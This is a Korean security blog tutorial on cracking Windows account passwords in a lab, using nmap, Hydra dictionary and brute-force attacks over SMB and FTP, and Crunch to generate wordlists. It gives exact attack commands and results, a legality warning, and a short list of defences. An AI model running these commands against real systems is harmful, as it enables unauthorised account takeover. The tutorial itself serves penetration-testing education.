본문 바로가기

IT Security/HACKABLE

[Two Greedy] Windows Cracking (Hydra & Crunch)

가상으로 구축된 환경 외에 시도하는 것은 엄연히 불법입니다. 모든 책임은 개개인에게 있으니 조심해주세요

안녕하세요 Retain0입니다. 이번 시간에 배워볼 것은 Cracking tool 중 대표적인 " Hydra "라는 툴을 사용해보도록 하겠습니다. 이 툴은 굉장히 강력한 툴입니다. Hydra라는 이름을 가진 크래킹 툴을 제외하고 medusa , John the ripper , NTcrack 등 다양한 툴이 있지만 Hydra의 경우 다른 것들과 다르게 여러 개의 프로토콜들을 지원하며 병렬연결을 하여 공격할 수 있도록 되어있습니다. 또한 속도도 매우 빠릅니다.

<지원하는 프로토콜 및 특성>

  • Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST 프로토콜을 지원합니다. , HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle 리스너, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin, Rsh, RTSP, SAP / R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1 + v2 + v3, SOCKS5, SSH (v1 및 v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC 및 XMPP
  • 서비스 또한 UNIX 플랫폼, MacOS, Windows, QNX 기반 모바일( Android, iphone, Blackberry10, Zaurus, ipaq) 등 다양한 서비스를 지원하도록 되어있습니다. 그렇기에 실무에서 프로젝트 투입이 되었을 때 요긴하게 사용할 수 있는 툴이라고 볼 수 있습니다. 혹시나 Brute Force Attack 을 시도하는데 해당 서비스가 부팅에 문제가 생기거나 서비스가 다운될 것이 걱정된다면 -t 옵션을 통해 속도 즉 스레드 를 조절하여 사용하실 수 있습니다. 속도가 높으면 결과를 금방 도출시킬 수 있지만 서비스 가 문제가 될 수가 있습니다.

<hydra 옵션들>

-R restore a previous aborted/crashed session
-I ignore an existing restore file (don't wait 10 seconds)
-S perform an SSL connect
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help
-y disable use of symbols in bruteforce, see above
-e nsr try "n" null password, "s" login as pass and/or "r" reversed login
-u loop around users, not passwords (effective! implied with -x)
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-o FILE write found login/password pairs to FILE instead of stdout
-b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
-f / -F exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS run TASKS number of connects in parallel per target (default: 16)
-T TASKS run TASKS connects in parallel overall (for -M, default: 64)
-w / -W TIME wait time for a response (32) / between connects per thread (0)
-c TIME wait time per login attempt over all threads (enforces -t 1)
-4 / -6 use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
-v / -V / -d verbose mode / show login+pass for each attempt / debug mode
-O use old SSL v2 and v3
-q do not print messages about connection errors
-U service module usage details
-h more command line options (COMPLETE HELP)
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)

<사용 예시>

hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

<구문>

​hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

이처럼 수많은 조합이 가능하며 다양한 커스텀 마이징 이 가능합니다. 이번 실습에서는 Brute Force라는 무차별 대입으로 Cracking 하는 방법과 Dictionary라는 사전에 추측 가능한 패스워드 파일을 만들어서 사용자의 pc 계정을 알아내도록 해보겠습니다.

① Hydra (Dictionary Attack & Brute Force Attack )

Hydra 실습 구성

우선 실습을 하기 앞서 사용자의pc " FTP "프로토콜이 개방되어 있는지 확인하시고 시작해주시기 바랍니다.

※ Etc 카테고리에 " FTP " 활성화의 게시글이 있으니 참고해보시면 되겠습니다.

사진 1 사용자 PC 스캐닝

대표적인 스캐닝 도구인 " nmap "을 사용해서 사용자 pc를 스캔해보면 FTP 프로토콜이 서비스 중인 것을 확인할 수 있습니다.

※허락되지 않은곳에 " 스캐닝 " 하는것 또한 불법입니다.

사진 2 사용자 PC 스캐닝

또한 445 포트가 사용 중인데 그 위에 135 와 139 번 포트 또한 보안상 취약한 포트입니다, Netbios 란 간단하게 설명하자면 서로 다른 단말(pc) 들이 근거리통신 안에서 서로 간에 통신할 수 있게 해주는 프로그램이며, 445 포트 와 135포트도 Netbios의 안에 포함되는 포트 번호인데 " WannaCry "라는 랜섬웨어가 유행했을 당시 초기 대응을 위해 smb 포트인 137,138,139,445, 포트를 방화벽을 통해 차단해 둘 것을 강구했었죠.

※ smb란 " Server Message Block "으로 일종의 자원을 공유하는 프로토콜로 " Netbios "는 --> " smb " 형식에 기반을 두고 있음

사진 3 공격 명령

hydra -L /root/바탕화면/wordlist2.txt -P /root/바탕화면/wordlist.txt 192.168.0.158 smb
-L ID 사전 파일 불러올 경로
-P Passwd 사전 파일 불러올 경로

사진 3 공격자는 사용자의 ID, PWD 모두 모르는 상태에서 445 port를 통해 " Dictionary Attack " 을 수행하는 것입니다. 다만 사전 파일 안에는 공격자가 조금이라도 유추할 수 있는 ID 와 PWD 가 있을 것이라는 유추가 가능한 상태에서 진행하겠습니다.

사진 4 결과 도출

사전 파일을 통해 대입을 해본 결과 해당하는 ID 와 PWD 가 도출된 것을 확인할 수 있습니다.

사진 5 공격 명령

hydra -l retain0 -x 4:4:1 192.168.0.158 smb -V -f
-l 사용자 ID
-x 비밀번호 조합 설정
-V 상세한 과정 확인
-f 비밀번호 도출이 중지

이번에는 다른 방법으로 접근해보겠습니다. 공격자는 사용자의 ID는 알고 있지만 PWD는 유추조차 할 수 없는 상황입니다. -l 옵션을 이용하여 ID를 적어주고 -x (최소 4) (최대 4) (1 즉 숫자로만 대입해 봄) 해보고 대입해보겠습니다.

사진 6 결과 도출

ID는 알고 있지만 PWD를 모르는 상황에서도 비밀번호의 규칙 및 복잡도가 낮은 상태에서는 바로 결과가 도출되는 것을 확인할 수 있습니다.

사진 7 " Crunch "를 활용해 사전 파일 자동화 생성

cat charset.lst |grep lalpha

사진 7 에서 비밀번호(PWD)를 유추하기 힘든 상황에서 사전 파일을 하나하나 작성하는 것은 정말 말도 안 되는 일입니다. kali 안에는 " crunch "라는 사전 파일이 이미 준비되어 있기 때문에 활용하시는 것이 편합니다.

빨간 박스 쳐진 곳에는 예) lalpha라는 파일 안에 --> abcdefghijklmnopqrstuvwxyz라는 소문자가 있다는 걸 의미함. 하단에는 대문자, 특수문자, 숫자 등 다양한 조합을 할 수 있는 사전 파일들이 있으니 원하는 형태로 조합하셔서 진행하시면 되겠습니다.

사진 8 사전파일 제작

crunch 1 5 -f /usr/share/crunch/charset.lst lalpha -o /root/바탕화면/passwdlist.txt
1 5 최소1글자 ~ 최대 5글자
-f 어느 경로의 사전파일 가져올것인지
-o 사전파일은 어느경로에 둘것인지

 

사진 9 공격 명령

hydra -l adminstrator -P /root/바탕화면/passwdlist.txt ftp://192.168.0.158 -V -f
-l 사용자 ID
-P 사용할 사전파일 경로
-V 상세한 과정
-f Passwd 도출시 중지

Crunch "라는 툴을 통해 조합된 사전 파일을 준비하였으니 다시 공격을 시도해보겠습니다. 이번에도 사용자의 ID인 adminstrator는 알고 있는 상태에서 FTP Attack 진행해보겠습니다.

사진 10 결과 도출

사진 10 crunch를 통해 조합된 사전 파일을 통해 PWD를 도출시킨 화면입니다.

◆ 대응 방안

(1) 패스워드는 길이가 길어 얌(8자 이상), 패스워드 사용기간이 짧아야 함(1달 주기), 추측이 힘든 조합이 좋음(소문자, 대문자, 특수문자, 숫자 중 3가지 이상은 조합해야 함)

(2) Brute Force Attack 시도할 것 을 대비해 패스워드 입력 수 제한을 걸어도 야함

(3) 패스워드를 일 방향(단방향) 암호화 수행을 통해 크랙 할 수 없도록 해야 함

(4) 암호화 수행은 암호화 키가 없는 방법을 통해 암호화해야 함

Hydra install location : https://github.com/vanhauser-thc/thc-hydra

Crunch install location : https://github.com/crunchsec/crunch

crunch wordlist generator from http://sourceforge.net/projects/crunch-wordlist/


이번 시간은 여기까지만 해보도록 하겠습니다. Cracking Tool인 " Hydra "를 통해 윈도 계정을 공격하는 것을 해보았는데요, 위에 제가 해본 방식 말고도 굉장히 여러 종류의 공격 기법들이 있으며 여러 조합을 통하게 되면 효과는 더욱더 좋을 것으로 판단됩니다. 또한 사전 파일의 경우 " google " 을 통해 얻을 수도 있겠지만 " Crunch "라는 도구를 활용하면 공격자가 원하는 조합의 형태로 생성시켜 주는 점을 기억해주시면 되겠습니다.

이번 실습을 통하여 얻을 수 있는 점은 " 사용 안 하는 프로토콜은 비활성 " 시켜두는 것과. 패스워드의 복잡도 설정에 따라 Cracking 툴로 크랙 하는데 몇 분 내지 길면 몇십 년이 걸리 수도 있으니 반드시 패스워드의 복잡도는 최소 " 8자 이상은 해주셔야 하며 숫자/소문/대문/특수 중 3가지 이상 "을 조합하여 쓰시기 바라겠습니다. 다음 시간에 뵙겠습니다.